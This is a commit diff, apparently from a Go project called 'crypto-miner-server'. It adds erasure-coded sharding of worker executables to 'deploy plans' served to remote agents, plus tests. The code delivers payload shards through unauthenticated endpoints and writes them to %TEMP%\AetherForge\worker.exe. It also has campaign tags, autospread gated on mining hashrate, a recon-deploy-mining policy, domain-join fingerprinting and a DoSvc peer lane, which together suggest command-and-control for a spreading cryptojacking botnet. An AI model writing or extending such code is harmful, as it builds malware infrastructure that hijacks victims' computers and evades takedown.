Add erasure-coded multi-lane spread foundation.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.
This commit is contained in:
@@ -13,6 +13,7 @@ import (
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
@@ -70,6 +71,7 @@ type DeployPlanBody struct {
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
||||
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
|
||||
}
|
||||
|
||||
type deployPlanRequest struct {
|
||||
@@ -98,8 +100,10 @@ type DeployPlanHandler struct {
|
||||
projectRoot string
|
||||
publicURL func() string
|
||||
fleetSecret func() string
|
||||
allowlist func() map[string]ServiceDeployLane
|
||||
pathTracer *PathTracerHandler
|
||||
allowlist func() map[string]ServiceDeployLane
|
||||
pathTracer *PathTracerHandler
|
||||
erasureEnabled func() bool
|
||||
erasureShards *erasure.ShardStore
|
||||
}
|
||||
|
||||
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
||||
@@ -118,6 +122,21 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
|
||||
h.pathTracer = handler
|
||||
}
|
||||
|
||||
// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans.
|
||||
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
|
||||
h.erasureEnabled = enabled
|
||||
h.erasureShards = store
|
||||
}
|
||||
|
||||
// BindErasureFromHub reads erasure_lanes_enabled from live server policy snapshots.
|
||||
func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardStore) {
|
||||
h.erasureShards = store
|
||||
if hub == nil {
|
||||
return
|
||||
}
|
||||
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
|
||||
}
|
||||
|
||||
// POST /api/v1/agent/deploy-plan
|
||||
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
||||
var req deployPlanRequest
|
||||
@@ -242,9 +261,62 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
||||
default:
|
||||
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
||||
}
|
||||
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
|
||||
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL string, body *DeployPlanBody) error {
|
||||
if h.erasureEnabled == nil || !h.erasureEnabled() || h.erasureShards == nil || body == nil {
|
||||
return nil
|
||||
}
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
if platform == "" {
|
||||
platform = "windows"
|
||||
}
|
||||
buildID := strings.TrimSpace(req.BuildID)
|
||||
build, err := h.resolveBuild(buildID, platform)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
payload, err := os.ReadFile(build.FilePath)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erasure read build: %w", err)
|
||||
}
|
||||
dest := `%TEMP%\AetherForge\worker.exe`
|
||||
launch := "exe"
|
||||
dllExport := ""
|
||||
if body.Manifest != nil {
|
||||
if body.Manifest.Dest != "" {
|
||||
dest = body.Manifest.Dest
|
||||
}
|
||||
if body.Manifest.Launch != "" {
|
||||
launch = body.Manifest.Launch
|
||||
}
|
||||
dllExport = body.Manifest.DLLExport
|
||||
}
|
||||
deferMining := true
|
||||
spreadInstall := true
|
||||
if body.Manifest != nil {
|
||||
deferMining = body.Manifest.DeferMining
|
||||
spreadInstall = body.Manifest.SpreadInstall
|
||||
}
|
||||
plan, err := erasure.BuildPlan(
|
||||
h.erasureShards, serverURL, buildID, req.Campaign, payload,
|
||||
dest, launch, dllExport, deferMining, spreadInstall,
|
||||
)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
body.ErasurePlan = plan
|
||||
if body.SpreadRouteHint != nil {
|
||||
body.SpreadRouteHint.ErasureLanesEnabled = true
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
|
||||
if h.pathTracer == nil {
|
||||
return nil
|
||||
|
||||
93
server/internal/api/deploy_plan_erasure_test.go
Normal file
93
server/internal/api/deploy_plan_erasure_test.go
Normal file
@@ -0,0 +1,93 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/erasure"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func TestBuildPlanAttachesErasureMetadata(t *testing.T) {
|
||||
h := testDeployPlanHandler(t)
|
||||
store := erasure.NewShardStore()
|
||||
h.BindErasure(func() bool { return true }, store)
|
||||
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1",
|
||||
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
|
||||
t.Fatalf("expected erasure_plan, got %+v", plan.ErasurePlan)
|
||||
}
|
||||
if len(plan.ErasurePlan.Shards) != 6 {
|
||||
t.Fatalf("shards=%d", len(plan.ErasurePlan.Shards))
|
||||
}
|
||||
if plan.ErasurePlan.PayloadSHA256 == "" {
|
||||
t.Fatal("expected payload sha256")
|
||||
}
|
||||
for _, ref := range plan.ErasurePlan.Shards {
|
||||
if _, ok := store.Get(plan.ErasurePlan.ShardToken, ref.Index); !ok {
|
||||
t.Fatalf("missing stored shard %d", ref.Index)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlanSkipsErasureWhenDisabled(t *testing.T) {
|
||||
h := testDeployPlanHandler(t)
|
||||
store := erasure.NewShardStore()
|
||||
h.BindErasure(func() bool { return false }, store)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1",
|
||||
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.ErasurePlan != nil {
|
||||
t.Fatalf("expected no erasure plan, got %+v", plan.ErasurePlan)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPublicErasureShardEndpoint(t *testing.T) {
|
||||
store := erasure.NewShardStore()
|
||||
payload := []byte("public-erasure-shard")
|
||||
plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", payload, `%TEMP%\w.exe`, "exe", "", true, true)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h := NewPublicHandler(nil, "", nil)
|
||||
h.BindErasureShardStore(store)
|
||||
|
||||
r := chi.NewRouter()
|
||||
r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard)
|
||||
req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/0", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
r.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if rec.Body.Len() == 0 {
|
||||
t.Fatal("empty shard body")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlanErasureSetsSpreadRouteHintFlag(t *testing.T) {
|
||||
h := testDeployPlanHandler(t)
|
||||
store := erasure.NewShardStore()
|
||||
h.BindErasure(func() bool { return true }, store)
|
||||
pt := NewPathTracerHandler(nil)
|
||||
h.BindPathTracer(pt)
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
AgentID: "seed-1", Platform: "windows", BuildID: "b1",
|
||||
}, "DoSvc", ServiceDeployLane{Lane: "do_peer"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.ErasurePlan == nil {
|
||||
t.Fatal("expected erasure plan")
|
||||
}
|
||||
}
|
||||
38
server/internal/api/erasure_auth_test.go
Normal file
38
server/internal/api/erasure_auth_test.go
Normal file
@@ -0,0 +1,38 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestAuthSpreadPolicyIncludesErasureLanes(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true})
|
||||
raw := buildAuthSpreadPolicy(hub)
|
||||
var policy map[string]interface{}
|
||||
if err := json.Unmarshal(raw, &policy); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
enabled, ok := policy["erasure_lanes_enabled"].(bool)
|
||||
if !ok || !enabled {
|
||||
t.Fatalf("policy=%#v", policy)
|
||||
}
|
||||
}
|
||||
|
||||
func buildAuthSpreadPolicy(hub *WSHub) json.RawMessage {
|
||||
policy := hub.serverPolicySnapshot()
|
||||
if !policy.ErasureLanesEnabled && policy.HashrateGateSpreadMin <= 0 && policy.HashrateGateHPS <= 0 {
|
||||
return nil
|
||||
}
|
||||
spreadPolicy := map[string]interface{}{
|
||||
"erasure_lanes_enabled": policy.ErasureLanesEnabled,
|
||||
}
|
||||
if policy.HashrateGateSpreadMin > 0 {
|
||||
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
|
||||
}
|
||||
if policy.HashrateGateHPS > 0 {
|
||||
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
|
||||
}
|
||||
raw, _ := json.Marshal(spreadPolicy)
|
||||
return raw
|
||||
}
|
||||
@@ -2,12 +2,14 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
@@ -21,15 +23,21 @@ type PublicBuildsConfig struct {
|
||||
|
||||
// PublicHandler serves unauthenticated build listing and download endpoints.
|
||||
type PublicHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
configFn func() PublicBuildsConfig
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
configFn func() PublicBuildsConfig
|
||||
erasureShards *erasure.ShardStore
|
||||
}
|
||||
|
||||
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
|
||||
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
|
||||
}
|
||||
|
||||
// BindErasureShardStore serves Reed–Solomon shard bytes for multi-lane deploy plans.
|
||||
func (h *PublicHandler) BindErasureShardStore(store *erasure.ShardStore) {
|
||||
h.erasureShards = store
|
||||
}
|
||||
|
||||
type publicBuildDTO struct {
|
||||
ID string `json:"id"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
@@ -199,6 +207,34 @@ func encodeDNSTXTShard(data []byte) string {
|
||||
return base64.StdEncoding.EncodeToString(data)
|
||||
}
|
||||
|
||||
// GET /api/v1/public/erasure-shard/{token}/{index}
|
||||
func (h *PublicHandler) ErasureShard(w http.ResponseWriter, r *http.Request) {
|
||||
if h.erasureShards == nil {
|
||||
http.Error(w, "erasure shards unavailable", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
token := strings.TrimSpace(chi.URLParam(r, "token"))
|
||||
if token == "" {
|
||||
http.Error(w, "token required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
indexStr := strings.TrimSpace(chi.URLParam(r, "index"))
|
||||
index := 0
|
||||
if indexStr != "" {
|
||||
if _, err := fmt.Sscanf(indexStr, "%d", &index); err != nil {
|
||||
http.Error(w, "invalid shard index", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
}
|
||||
data, ok := h.erasureShards.Get(token, index)
|
||||
if !ok {
|
||||
http.Error(w, "shard not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "text/plain")
|
||||
_, _ = w.Write([]byte(encodeDNSTXTShard(data)))
|
||||
}
|
||||
|
||||
func clientIP(r *http.Request) string {
|
||||
ip := r.Header.Get("X-Forwarded-For")
|
||||
if ip == "" {
|
||||
|
||||
@@ -750,6 +750,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/public/download/{id}", publicHandler.Download)
|
||||
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
|
||||
r.Get("/public/dns-txt/{record}", publicHandler.DNSTXTShard)
|
||||
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
|
||||
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
||||
}
|
||||
})
|
||||
|
||||
@@ -24,6 +24,8 @@ type ServerPolicy struct {
|
||||
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread.
|
||||
HashrateGateSpreadMin int
|
||||
HashrateGateHPS float64
|
||||
// ErasureLanesEnabled attaches Reed–Solomon shard metadata to signed deploy plans.
|
||||
ErasureLanesEnabled bool
|
||||
}
|
||||
|
||||
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
|
||||
|
||||
@@ -99,6 +99,7 @@ func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets
|
||||
}
|
||||
|
||||
in.LaneSuccess = collectLaneSuccessStats(hub)
|
||||
in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
|
||||
return in
|
||||
}
|
||||
|
||||
|
||||
@@ -918,11 +918,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
resp["triple_onion_policy"] = top
|
||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 {
|
||||
resp["spread_policy"] = map[string]interface{}{
|
||||
"hashrate_gate_spread_min": policy.HashrateGateSpreadMin,
|
||||
"hashrate_gate_hps": policy.HashrateGateHPS,
|
||||
if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled {
|
||||
spreadPolicy := map[string]interface{}{
|
||||
"erasure_lanes_enabled": policy.ErasureLanesEnabled,
|
||||
}
|
||||
if policy.HashrateGateSpreadMin > 0 {
|
||||
spreadPolicy["hashrate_gate_spread_min"] = policy.HashrateGateSpreadMin
|
||||
}
|
||||
if policy.HashrateGateHPS > 0 {
|
||||
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
|
||||
}
|
||||
resp["spread_policy"] = spreadPolicy
|
||||
}
|
||||
resp["atlas_lan_gossip_enabled"] = policy.AtlasLanGossipEnabled
|
||||
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
||||
|
||||
Reference in New Issue
Block a user